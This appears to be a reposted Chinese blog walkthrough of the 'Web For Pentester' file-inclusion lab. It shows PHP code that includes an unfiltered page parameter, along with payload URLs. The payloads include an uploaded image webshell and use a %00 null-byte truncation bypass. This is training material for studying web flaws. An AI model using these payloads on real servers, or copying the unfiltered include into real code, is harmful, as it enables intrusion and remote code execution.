zoukankan      html  css  js  c++  java
  • Web For Pentester1 -File Include

    Example 1

    源码:

    <?php require_once '../header.php'; ?>

    <?php

    if ($_GET["page"]) {
    include($_GET["page"]);

    }

    ?>

    <?php require_once '../footer.php'; ?>

    解释:加载当前目录下的文件,这里page变量没有做任何过滤,因此可以包含任意文件,当脚本来执行

    payload:

    http://10.10.202.152/fileincl/example1.php?page=../files/hacker.png

    使用片马来执行下

    http://10.10.202.152/fileincl/example1.php?page=../upload/images/1.jpg

    Example 2

    源码:

    <?php require_once '../header.php'; ?>

    <?php
    if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/x00.*/',"",$file);
    include($file);

    }

    ?>

    <?php require_once '../footer.php'; ?>

    解释:默认会给文件增加后缀名,另外使用正则过滤00截断,因此可以使用%00 过滤掉后面的%00.php的操作

    payload:

    http://10.10.202.152/fileincl/example2.php?page=../upload/images/1.jpg%00

  • 相关阅读:
    20130118
    延迟加载、分页显示等功能的增加
    ==和Equals的区别
    20160115--Hibernate
    20160108--搜索查询
    20150105
    20151229--数据表格
    20151226--easyUI
    DreamWeaver使用技巧(转)
    20121109
  • 原文地址:https://www.cnblogs.com/hack404/p/13192151.html
Copyright © 2011-2022 走看看